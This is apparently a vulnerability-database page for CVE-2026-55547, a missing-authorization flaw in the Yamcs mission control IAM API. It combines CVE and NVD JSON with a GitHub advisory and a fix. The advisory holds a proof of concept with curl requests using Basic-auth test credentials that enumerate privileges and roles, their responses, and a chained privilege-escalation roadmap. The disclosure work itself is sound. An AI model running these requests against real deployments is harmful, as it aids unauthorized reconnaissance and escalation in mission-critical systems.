CVE-2026-55547 (GCVE-0-2026-55547)
Vulnerability from cvelistv5 – Published: 2026-08-28 17:11 – Updated: 2026-08-28 20:30
VLAI
EPSS
VEX
Title
Yamcs: Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration
Summary
Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs omits SystemPrivilege.ControlAccess checks from IamApi.listRoles, IamApi.getRole, and IamApi.listPrivileges in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java. Any authenticated account can call GET /api/roles, GET /api/roles/{name}, and GET /api/privileges to enumerate available system privileges and configured role mappings. The disclosure reveals security configuration that can support targeted privilege-escalation attempts. This issue is fixed in versions 5.12.8 and 5.13.2.
Severity
4.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-28 20:29 UTC
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/yamcs/yamcs/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/yamcs/yamcs/commit/c2aec1c242e… | x_refsource_MISC |
| https://github.com/yamcs/yamcs/commit/dcaec5f0b2f… | x_refsource_MISC |
| https://github.com/yamcs/yamcs/releases/tag/yamcs… | x_refsource_MISC |
| https://github.com/yamcs/yamcs/releases/tag/yamcs… | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-55547",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-28T20:29:51.716854Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-28T20:30:11.670Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "yamcs",
"vendor": "yamcs",
"versions": [
{
"status": "affected",
"version": "\u003c 5.12.8"
},
{
"status": "affected",
"version": "\u003e= 5.13.0, \u003c 5.13.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs omits SystemPrivilege.ControlAccess checks from IamApi.listRoles, IamApi.getRole, and IamApi.listPrivileges in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java. Any authenticated account can call GET /api/roles, GET /api/roles/{name}, and GET /api/privileges to enumerate available system privileges and configured role mappings. The disclosure reveals security configuration that can support targeted privilege-escalation attempts. This issue is fixed in versions 5.12.8 and 5.13.2."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-285",
"description": "CWE-285: Improper Authorization",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862: Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-28T17:11:34.332Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
},
{
"name": "https://github.com/yamcs/yamcs/commit/c2aec1c242e656e48b52c7f87deea88183bb592d",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/commit/c2aec1c242e656e48b52c7f87deea88183bb592d"
},
{
"name": "https://github.com/yamcs/yamcs/commit/dcaec5f0b2f4231b8e313e94d79a937169c9e0ba",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/commit/dcaec5f0b2f4231b8e313e94d79a937169c9e0ba"
},
{
"name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
}
],
"source": {
"advisory": "GHSA-cvw4-55pp-3hfq",
"discovery": "UNKNOWN"
},
"title": "Yamcs: Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-55547",
"datePublished": "2026-08-28T17:11:34.332Z",
"dateReserved": "2026-06-16T23:01:04.075Z",
"dateUpdated": "2026-08-28T20:30:11.670Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-55547",
"date": "2026-09-27",
"epss": "0.00342",
"percentile": "0.2517"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "yamcs",
"vendor": "yamcs",
"versions": [
{
"status": "affected",
"version": "\u003c 5.12.8"
},
{
"status": "affected",
"version": "\u003e= 5.13.0, \u003c 5.13.2"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs omits SystemPrivilege.ControlAccess checks from IamApi.listRoles, IamApi.getRole, and IamApi.listPrivileges in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java. Any authenticated account can call GET /api/roles, GET /api/roles/{name}, and GET /api/privileges to enumerate available system privileges and configured role mappings. The disclosure reveals security configuration that can support targeted privilege-escalation attempts. This issue is fixed in versions 5.12.8 and 5.13.2."
}
],
"id": "CVE-2026-55547",
"lastModified": "2026-09-08T21:08:37.320",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-55547",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-28T20:29:51.716854Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-08-28T20:18:28.517",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/commit/c2aec1c242e656e48b52c7f87deea88183bb592d"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/commit/dcaec5f0b2f4231b8e313e94d79a937169c9e0ba"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-285"
},
{
"lang": "en",
"value": "CWE-862"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-55547",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-28T20:29:51.716854Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-28T20:30:08.008Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "yamcs",
"vendor": "yamcs",
"versions": [
{
"status": "affected",
"version": "\u003c 5.12.8"
},
{
"status": "affected",
"version": "\u003e= 5.13.0, \u003c 5.13.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs omits SystemPrivilege.ControlAccess checks from IamApi.listRoles, IamApi.getRole, and IamApi.listPrivileges in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java. Any authenticated account can call GET /api/roles, GET /api/roles/{name}, and GET /api/privileges to enumerate available system privileges and configured role mappings. The disclosure reveals security configuration that can support targeted privilege-escalation attempts. This issue is fixed in versions 5.12.8 and 5.13.2."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-285",
"description": "CWE-285: Improper Authorization",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862: Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-28T17:11:34.332Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
},
{
"name": "https://github.com/yamcs/yamcs/commit/c2aec1c242e656e48b52c7f87deea88183bb592d",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/commit/c2aec1c242e656e48b52c7f87deea88183bb592d"
},
{
"name": "https://github.com/yamcs/yamcs/commit/dcaec5f0b2f4231b8e313e94d79a937169c9e0ba",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/commit/dcaec5f0b2f4231b8e313e94d79a937169c9e0ba"
},
{
"name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
}
],
"source": {
"advisory": "GHSA-cvw4-55pp-3hfq",
"discovery": "UNKNOWN"
},
"title": "Yamcs: Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-55547",
"datePublished": "2026-08-28T17:11:34.332Z",
"dateReserved": "2026-06-16T23:01:04.075Z",
"dateUpdated": "2026-08-28T20:30:11.670Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-55547
Vulnerability from fkie_nvd - Published: 2026-08-28 20:18 - Updated: 2026-09-08 21:08
Severity
Summary
Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs omits SystemPrivilege.ControlAccess checks from IamApi.listRoles, IamApi.getRole, and IamApi.listPrivileges in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java. Any authenticated account can call GET /api/roles, GET /api/roles/{name}, and GET /api/privileges to enumerate available system privileges and configured role mappings. The disclosure reveals security configuration that can support targeted privilege-escalation attempts. This issue is fixed in versions 5.12.8 and 5.13.2.
References
Impacted products
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "yamcs",
"vendor": "yamcs",
"versions": [
{
"status": "affected",
"version": "\u003c 5.12.8"
},
{
"status": "affected",
"version": "\u003e= 5.13.0, \u003c 5.13.2"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs omits SystemPrivilege.ControlAccess checks from IamApi.listRoles, IamApi.getRole, and IamApi.listPrivileges in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java. Any authenticated account can call GET /api/roles, GET /api/roles/{name}, and GET /api/privileges to enumerate available system privileges and configured role mappings. The disclosure reveals security configuration that can support targeted privilege-escalation attempts. This issue is fixed in versions 5.12.8 and 5.13.2."
}
],
"id": "CVE-2026-55547",
"lastModified": "2026-09-08T21:08:37.320",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-55547",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-28T20:29:51.716854Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-08-28T20:18:28.517",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/commit/c2aec1c242e656e48b52c7f87deea88183bb592d"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/commit/dcaec5f0b2f4231b8e313e94d79a937169c9e0ba"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-285"
},
{
"lang": "en",
"value": "CWE-862"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-CVW4-55PP-3HFQ
Vulnerability from github – Published: 2026-08-28 17:13 – Updated: 2026-08-28 17:13
VLAI
Summary
Yamcs's Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration
Details
Summary
Missing authorization checks on three IAM API endpoints (GET /api/roles, GET /api/roles/{name}, GET /api/privileges) allow any authenticated user — regardless of their assigned permissions — to enumerate the complete list of system privileges and role definitions. An attacker with only a low-privilege account (e.g., a read-only operator) can retrieve the full privilege taxonomy of the server, including the names and assignments of all administrator-level capabilities. This information directly enables targeted privilege escalation attacks.
Details
Three handler methods in IamApi.java serve sensitive security metadata without performing any authorization check:
File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java
// Line 73 — GET /api/roles
@Override
public void listRoles(Context ctx, Empty request, Observer<ListRolesResponse> observer) {
SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();
List<Role> roles = securityStore.getDirectory().getRoles();
// No ctx.checkSystemPrivilege() call — any authenticated user proceeds
...
observer.complete(responseb.build());
}
// Line 87 — GET /api/roles/{name}
@Override
public void getRole(Context ctx, GetRoleRequest request, Observer<RoleInfo> observer) {
SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();
Role role = securityStore.getDirectory().getRole(request.getName());
// No ctx.checkSystemPrivilege() call
observer.complete(toRoleInfo(role));
}
// Line 112 — GET /api/privileges
@Override
public void listPrivileges(Context ctx, Empty request, Observer<ListPrivilegesResponse> observer) {
SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();
List<SystemPrivilege> privileges = new ArrayList<>(securityStore.getSystemPrivileges());
// No ctx.checkSystemPrivilege() call
observer.complete(responseb.build());
}
By contrast, all write operations and user-management endpoints in the same file correctly enforce authorization. For example:
// Line 126 — GET /api/users (correctly protected)
public void listUsers(...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ← present
...
}
// Line 142 — POST /api/users (correctly protected)
public void createUser(...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ← present
...
}
The three vulnerable endpoints share the same ControlAccess protection requirement as the user-management endpoints but were never given the corresponding check.
Route definitions (confirmed in yamcs-api/src/main/proto/yamcs/protobuf/iam/iam.proto):
GET /api/privileges → IamApi.listPrivileges()
GET /api/roles → IamApi.listRoles()
GET /api/roles/{name} → IamApi.getRole()
PoC
Environment
- Yamcs version: 5.13.1-SNAPSHOT (latest master)
- Auth module: YamlAuthModule (default)
- Two accounts available:
admin(Administrator) andoperator(Operator) - Calculate the Basic Auth credentials for the two accounts (this needs to be done only once). Please modify according to the actual situation. These credentials will be used in subsequent commands. Here, there is a test low-privilege account named "operator" with the password "password".
powershell -command "[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin'))"
powershell -command "[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('operator:password'))"
Step 1 — Confirm that protected endpoints correctly return 403 for low-privilege users
curl -s -o nul -w "HTTP %{http_code}" http://localhost:8090/api/users -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
Expected: HTTP 403 — the user-list endpoint enforces ControlAccess.
Step 2 — Enumerate all system privileges with the operator account
curl -s http://localhost:8090/api/privileges -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
Actual response (HTTP 200):
C:\Users\20616>curl -s http://localhost:8090/api/privileges -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
{
"systemPrivileges": ["ChangeMissionDatabase", "CommandOptions", "ControlAccess", "ControlActivities", "ControlAlarms", "ControlArchiving", "ControlCommandClearances", "ControlCommandQueue", "ControlFileTransfers", "ControlLinks", "ControlProcessor", "ControlServices", "ControlTimeCorrelation", "ControlTimeline", "CreateInstances", "GetMissionDatabase", "ManageAnyBucket", "ManageParameterLists", "ModifyCommandHistory", "ReadActivities", "ReadAlarms", "ReadCommandHistory", "ReadEvents", "ReadFileTransfers", "ReadLinks", "ReadSystemInfo", "ReadTables", "ReadTimeline", "WriteEvents", "WriteTables", "web.AccessAdminArea"]
}
The operator account receives the server's complete privilege taxonomy — all 31 system privileges including ControlAccess (full user management) and ChangeMissionDatabase (algorithm-level RCE, see related advisory).
Step 3 — Enumerate all defined roles with the operator account
curl -s http://localhost:8090/api/roles -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
Actual response (HTTP 200):
C:\Users\20616>curl -s http://localhost:8090/api/roles -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
{
}
The endpoint returns HTTP 200 (no authorization check triggered). The empty body reflects the test environment: the YamlAuthModule stores role names as plain strings in users.yaml and does not persist Role objects into the security store's Directory. In any Yamcs instance where roles have been created through the REST API (POST /api/roles), this endpoint returns the full role-to-privilege mapping for every defined role.
Step 4 — Attempt to read a specific role by name
curl -s http://localhost:8090/api/roles/Administrator -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
Actual response:
C:\Users\20616>curl -s http://localhost:8090/api/roles/Administrator -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
{
"code": 404,
"type": "NotFoundException",
"msg": "Resource not found"
}
The 404 is a business-logic outcome (the role object does not exist in the Directory for this test configuration), not an authorization rejection. The server never checked whether the caller is permitted to read role data — it proceeded to the lookup and returned the lookup result. In a deployment where roles are registered as objects, this endpoint returns their full privilege configuration to any authenticated user.
Observed vs Expected
| Request | Expected | Actual | Note |
|---|---|---|---|
GET /api/users (operator) |
403 | 403 ✓ | Auth check present |
GET /api/privileges (operator) |
403 | 200 ✗ | Confirmed — full privilege list leaked |
GET /api/roles (operator) |
403 | 200 ✗ | Auth check absent; empty only in this test setup |
GET /api/roles/Administrator (operator) |
403 | 404 ✗ | No auth check; 404 = role not in Directory, not access denied |
Impact
Vulnerability type: Broken Function Level Authorization (BFLA) / Missing Authorization (OWASP API Security Top 10 2023: API5)
Who is impacted:
Any deployment of Yamcs that has authentication enabled (the default for production setups) and has more than one user tier. This includes the vast majority of operational Yamcs installations in ground station, satellite operations, and mission control contexts.
Direct impact:
- Any authenticated user, including operators, guest accounts, or service accounts with minimal privileges, can retrieve the server's complete privilege taxonomy and all role-to-privilege mappings.
Chained impact:
The disclosed privilege names and role definitions provide an attacker with a precise roadmap for privilege escalation:
1. Identify which privilege grants the capability they need (e.g., ChangeMissionDatabase for RCE via the algorithm engine, ControlAccess for full user management).
2. Identify which roles carry that privilege.
3. Target the accounts that hold those roles for credential theft, session hijacking, or social engineering.
In mission-critical environments (spacecraft operations, industrial control), unauthorized privilege escalation via this information leak could have safety implications beyond IT security.
Fix
Add ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess) as the first statement in each of the three affected methods, matching the pattern already used by adjacent endpoints in the same file:
// IamApi.java — apply to all three methods
public void listRoles(Context ctx, Empty request, Observer<ListRolesResponse> observer) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE
...
}
public void getRole(Context ctx, GetRoleRequest request, Observer<RoleInfo> observer) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE
...
}
public void listPrivileges(Context ctx, Empty request, Observer<ListPrivilegesResponse> observer) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE
...
}
Severity
4.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.13.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.13.0"
},
{
"fixed": "5.13.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55547"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T17:13:23Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nMissing authorization checks on three IAM API endpoints (`GET /api/roles`, `GET /api/roles/{name}`, `GET /api/privileges`) allow any authenticated user \u2014 regardless of their assigned permissions \u2014 to enumerate the complete list of system privileges and role definitions. An attacker with only a low-privilege account (e.g., a read-only operator) can retrieve the full privilege taxonomy of the server, including the names and assignments of all administrator-level capabilities. This information directly enables targeted privilege escalation attacks.\n\n---\n\n## Details\n\nThree handler methods in `IamApi.java` serve sensitive security metadata without performing any authorization check:\n\n**File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java`\n\n```java\n// Line 73 \u2014 GET /api/roles\n@Override\npublic void listRoles(Context ctx, Empty request, Observer\u003cListRolesResponse\u003e observer) {\n SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();\n List\u003cRole\u003e roles = securityStore.getDirectory().getRoles();\n // No ctx.checkSystemPrivilege() call \u2014 any authenticated user proceeds\n ...\n observer.complete(responseb.build());\n}\n\n// Line 87 \u2014 GET /api/roles/{name}\n@Override\npublic void getRole(Context ctx, GetRoleRequest request, Observer\u003cRoleInfo\u003e observer) {\n SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();\n Role role = securityStore.getDirectory().getRole(request.getName());\n // No ctx.checkSystemPrivilege() call\n observer.complete(toRoleInfo(role));\n}\n\n// Line 112 \u2014 GET /api/privileges\n@Override\npublic void listPrivileges(Context ctx, Empty request, Observer\u003cListPrivilegesResponse\u003e observer) {\n SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();\n List\u003cSystemPrivilege\u003e privileges = new ArrayList\u003c\u003e(securityStore.getSystemPrivileges());\n // No ctx.checkSystemPrivilege() call\n observer.complete(responseb.build());\n}\n```\n\nBy contrast, all write operations and user-management endpoints in the same file correctly enforce authorization. For example:\n\n```java\n// Line 126 \u2014 GET /api/users (correctly protected)\npublic void listUsers(...) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // \u2190 present\n ...\n}\n\n// Line 142 \u2014 POST /api/users (correctly protected)\npublic void createUser(...) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // \u2190 present\n ...\n}\n```\n\nThe three vulnerable endpoints share the same `ControlAccess` protection requirement as the user-management endpoints but were never given the corresponding check.\n\n**Route definitions** (confirmed in `yamcs-api/src/main/proto/yamcs/protobuf/iam/iam.proto`):\n\n```\nGET /api/privileges \u2192 IamApi.listPrivileges()\nGET /api/roles \u2192 IamApi.listRoles()\nGET /api/roles/{name} \u2192 IamApi.getRole()\n```\n\n---\n\n## PoC\n\u003cimg width=\"2324\" height=\"1086\" alt=\"image\" src=\"https://github.com/user-attachments/assets/98ec3e81-556d-41e1-9211-10a5b9ad0d59\" /\u003e\n\n\n### Environment\n\n- Yamcs version: 5.13.1-SNAPSHOT (latest master)\n- Auth module: YamlAuthModule (default)\n- Two accounts available: `admin` (Administrator) and `operator` (Operator)\n- Calculate the Basic Auth credentials for the two accounts (this needs to be done only once). Please modify according to the actual situation. These credentials will be used in subsequent commands. Here, there is a test low-privilege account named \"operator\" with the password \"password\".\n\n\u003cimg width=\"2243\" height=\"223\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5614013c-2143-4f61-aba3-eab1cba24b67\" /\u003e\n\n`powershell -command \"[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(\u0027admin:admin\u0027))\"`\n\n`powershell -command \"[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(\u0027operator:password\u0027))\"`\n\n### Step 1 \u2014 Confirm that protected endpoints correctly return 403 for low-privilege users\n\n```cmd\ncurl -s -o nul -w \"HTTP %{http_code}\" http://localhost:8090/api/users -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n```\n\nExpected: `HTTP 403` \u2014 the user-list endpoint enforces `ControlAccess`.\n\n### Step 2 \u2014 Enumerate all system privileges with the operator account\n\n```cmd\ncurl -s http://localhost:8090/api/privileges -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n```\n\n**Actual response (HTTP 200):**\n\n```\nC:\\Users\\20616\u003ecurl -s http://localhost:8090/api/privileges -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n{\n \"systemPrivileges\": [\"ChangeMissionDatabase\", \"CommandOptions\", \"ControlAccess\", \"ControlActivities\", \"ControlAlarms\", \"ControlArchiving\", \"ControlCommandClearances\", \"ControlCommandQueue\", \"ControlFileTransfers\", \"ControlLinks\", \"ControlProcessor\", \"ControlServices\", \"ControlTimeCorrelation\", \"ControlTimeline\", \"CreateInstances\", \"GetMissionDatabase\", \"ManageAnyBucket\", \"ManageParameterLists\", \"ModifyCommandHistory\", \"ReadActivities\", \"ReadAlarms\", \"ReadCommandHistory\", \"ReadEvents\", \"ReadFileTransfers\", \"ReadLinks\", \"ReadSystemInfo\", \"ReadTables\", \"ReadTimeline\", \"WriteEvents\", \"WriteTables\", \"web.AccessAdminArea\"]\n}\n```\n\nThe operator account receives the server\u0027s complete privilege taxonomy \u2014 all 31 system privileges including `ControlAccess` (full user management) and `ChangeMissionDatabase` (algorithm-level RCE, see related advisory).\n\n### Step 3 \u2014 Enumerate all defined roles with the operator 